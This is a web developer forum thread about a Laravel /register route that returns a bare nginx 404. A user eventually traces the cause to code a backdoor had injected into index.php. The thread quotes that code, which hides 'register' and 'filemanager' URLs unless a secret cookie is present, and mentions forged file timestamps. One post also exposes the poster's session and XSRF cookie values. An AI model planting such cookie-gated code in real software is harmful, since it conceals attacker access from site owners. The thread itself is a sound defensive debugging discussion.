Be part of JetBrains PHPverse 2026 on June 9 – a free online event bringing PHP devs worldwide together.

LoveTheBlues's avatar

"\register" route not working

Hi. New to Laravel and inherited an application that I am trying to debug so please bear with me.

The "register" route is defined in my routes\web.php file but I get a 404 error when navigating to it. I don't get the application's nicely formatted 404, just the webserver's 404.

I can see the register route listed when I do a "php artisan route:list"

If I change the route definition in my routes\web.php file to something like the following I still get a 404 if I navigate to /register:

Route::get('/register', function () {
    return 'Hello World';
});

but the following works fine if I navigate to /greet:

Route::get('/greet', function () {
    return 'Hello World';
});

It is almost as if something else is overriding the definition of the "register" route. In fact anything with the prefix "register" does not seem to work as a route. e.g. registerx or register-trainer. But I have searched all files in the routes directory and can't find it. Any suggestions or hints?

0 likes
17 replies
Glukinho's avatar

I don't get the application's nicely formatted 404, just the webserver's 404.

It means the request does not reach Laravel. You should dig your web server configs.

What happens if you navigate to something like http://yourapp.com/this-url-certainly-doesnt-exist-fhhdoghigjfgdjgh? Which 404 do you get - generic web server's or nice Laravel's?

LoveTheBlues's avatar

@Glukinho Thanks. When I navigate to a url that does not exist I get the nicely formatted app 404, not the bland 404.

So in the web server configs? It is a hosted site so I don't think I have access to change it? I can't see where I can edit the the php.ini file from my PLESK?

Glukinho's avatar

@LoveTheBlues do you have anything about "register" in Plesk? Maybe you defined this URL while experimenting and now this URL doesn't point to Laravel while others do?

LoveTheBlues's avatar

@Glukinho I can't see anything about "register" in Plesk, or in the php settings that it allows me control over. Definitely not something that I created while experimenting although I inherited this application. But not that it seems to be anything with "register" as prefix. For example, registerx is also caught by the web server's 404 and does not reach laravel.

Glukinho's avatar

@LoveTheBlues can you show this "webserver's 404" as a screenshot? Also show http headers coming along with it (see in chrome development tools). You need to understand who exactly answers you with that non-laravel 404.

LoveTheBlues's avatar

@Glukinho I think this is the response header:

content-length 0

content-type text/html; charset=UTF-8 date Wed, 09 Jul 2025 13:12:13 GMT server nginx x-powered-by PHP/8.2.29 :authority www. :method GET :path /registerx :scheme https accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 accept-encoding gzip, deflate, br, zstd accept-language en-AU,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-GB;q=0.6,en-US;q=0.5 cookie _gcl_au=1.1.2044827427.1751283290; _ga=GA1.1.1116341237.1751283290; _ga_YCL7YP2X5W=GS2.1.s1752043393$o3$g1$t1752044220$j22$l0$h0; XSRF-TOKEN=eyJpdiI6InMzZnRkZUZYM09sTHBBMVFsb1c0VWc9PSIsInZhbHVlIjoiakNLdTJ2bkZTQ2JMK1BnbU1RSnZPUG5xeVRySnBRVFVUNzFGM1RZTVlPWmovWjJGdWgwMnJoYkx1VGx5QnRDUjI4WkE3NVlkaVQzMzltdE1jZ2hzQ3pqNEY2aDFnc2xzUzNEWUR0bVZkRUtraDl1T2JkM0JYY2lIU0E1K2RqMXAiLCJtYWMiOiJkMjA2MGUxYzUyMjE1MmViOTI1NzM2NTM2NDc2YjU1ZTA0OWVmZWE0MzlmNjk1MGE0NTYzMDVkNGUwNjE4OGJmIiwidGFnIjoiIn0%3D; _session=eyJpdiI6IkY0eFJQM21lN0g1dGVMeVZkR1hrbXc9PSIsInZhbHVlIjoiSGhuOCs1M0N1MHEvcmRoTzVQTmVMd094eHR3Sk5VakJkc2hhMmhUNWhCdkh4bmRyMXBhclpkTmdnZHBpb3lUd2EyVzdoSVlOV1FBWVZhS0FpUmx0UTQyc2d4dGZ6VjBnWnRVb2pHelZWR2xZQTh0R0lRSjlsZmYwRjJuanA1dVIiLCJtYWMiOiIyZjUzZTEwMGRjYzNlMzA3YTJlNTVhMGU3MDRkYjVhYWUyNDM3YTlhYTUzYTEzZDEzODk3NzViYTFlZjlhZGIzIiwidGFnIjoiIn0%3D priority u=0, i sec-ch-ua "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138" sec-ch-ua-mobile ?0 sec-ch-ua-platform "Windows" sec-fetch-dest document sec-fetch-mode navigate sec-fetch-site none sec-fetch-user ?1 upgrade-insecure-requests 1 user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Glukinho's avatar

@LoveTheBlues This is definitely not Laravel's standard response. You should dig in your Plesk, maybe find some custom configs of a web server? I'm not familiar with Plesk unfortunately. Show some screenshots from there?

Also show output of php artisan route:list command.

Glukinho's avatar

@LoveTheBlues URLs begin with "register..." are intercepted somewhere before Laravel.

.../register, .../registerabcdef - web server's generic 404

.../hello, .../xyzregister - nice 404, I believe it is Laravel's.

1 like
LoveTheBlues's avatar

@Glukinho OK, so here is the answer: There was a malicious backdoor in the code, I found a few weeks ago and removed but what I did not realise is that the backdoor was used to make a change to index.php. It had put the following code in the index.php file, which I have now removed:

if (strpos($_SERVER['REQUEST_URI'], 'filemanager') !== false) {
    if (!isset($_COOKIE['Templar']) || $_COOKIE['Templar'] !== 'Kanjut') {
        header("HTTP/1.0 404 Not Found");
        exit;
    }
}
if (strpos($_SERVER['REQUEST_URI'], 'register') !== false) {
    if (!isset($_COOKIE['Templar']) || $_COOKIE['Templar'] !== 'Kanjut') {
        header("HTTP/1.0 404 Not Found");
        exit;
    }
}

Thanks for your help in getting to the bottom of this

Glukinho's avatar

@LoveTheBlues I would take a freshly installed Laravel (exactly same version as yours) and compare all framework files with your app, file by file, using search + diff. Who knows how many surprises are left there?

LoveTheBlues's avatar

@Glukinho Yep I'm gonna have to. They were even kind enough to adjust the file's last-modified date stamp to what it previously which resulted in this flying under the radar.

MrK1-Dev's avatar

Does your project use packages like Laravel Breeze, Fortify, Jetstream?

LoveTheBlues's avatar

@MrK1-Dev I'm not sure as I inherited this application. I'm still new to Laravel and learning, but I would have thought that if they did use Breeze, then Breeze would have added the register route in one of the route files e.g. route/web.php, and put the Register controller in the controllers directory?

MrK1-Dev's avatar

@LoveTheBlues For example, Laravel Breeze puts the relevant routes in the routes/auth.php path, which you can see if you open that file

But you need to make sure what packages the project uses

You need to look inside composer.json

to see what packages it uses There are several possibilities for your project to work this way

but let's start with the simplest one.

LoveTheBlues's avatar

@MrK1-Dev OK, thanks.

No Breeze, Fortify or Jetstream in composor.json.

There is no routes/auth.php , but there is a routes/api/auth.php. That does have a route definition for the following:

    Route::post('/register/step/{step}', ['as' => 'register', 'uses' => 'RegisterController@stepRegister']);

But I see that as

api/development/register/step/{step}

in the list of routes from "php artisan route:list"

MrK1-Dev's avatar

@LoveTheBlues You found it

Do you want it to stay the same, structure it or change it

If you want it to stay the same, since the project is ready, you should at least know Laravel to know what's what

If you want to bring up the register page, comment that line and add your own code and try

Since the project is also ready, errors may appear in some places and you should wait for them

Can I ask what the project is? Because you say that I have very little knowledge and that I am a beginner, and you went to a project that you know nothing about.

LoveTheBlues's avatar

@MrK1-Dev Yes, you are correct, now that the issue is better understood, that the options are to either change the code or change the setting on the webserver. I have sent in a request to the hosting company but might end up changing the code to name the route something else like "enrol" instead of "register". Yes I had already tested that it works before raising the question which is why I could explain the symptoms in my original question. I was delaying going down that path because the html A tag would need to be changed in quite a lot of files.

Yes you are correct: this is not the only bug. It is a bit like peeling the onion.

Yes I said that I am new to Laravel but I am not a beginner generally. I have decades of experience in software development, including PHP, so I don't feel that it will take me that long before I contribute to this forum more than I ask for help. It was not really by choice that I took over this project.

Please or to participate in this conversation.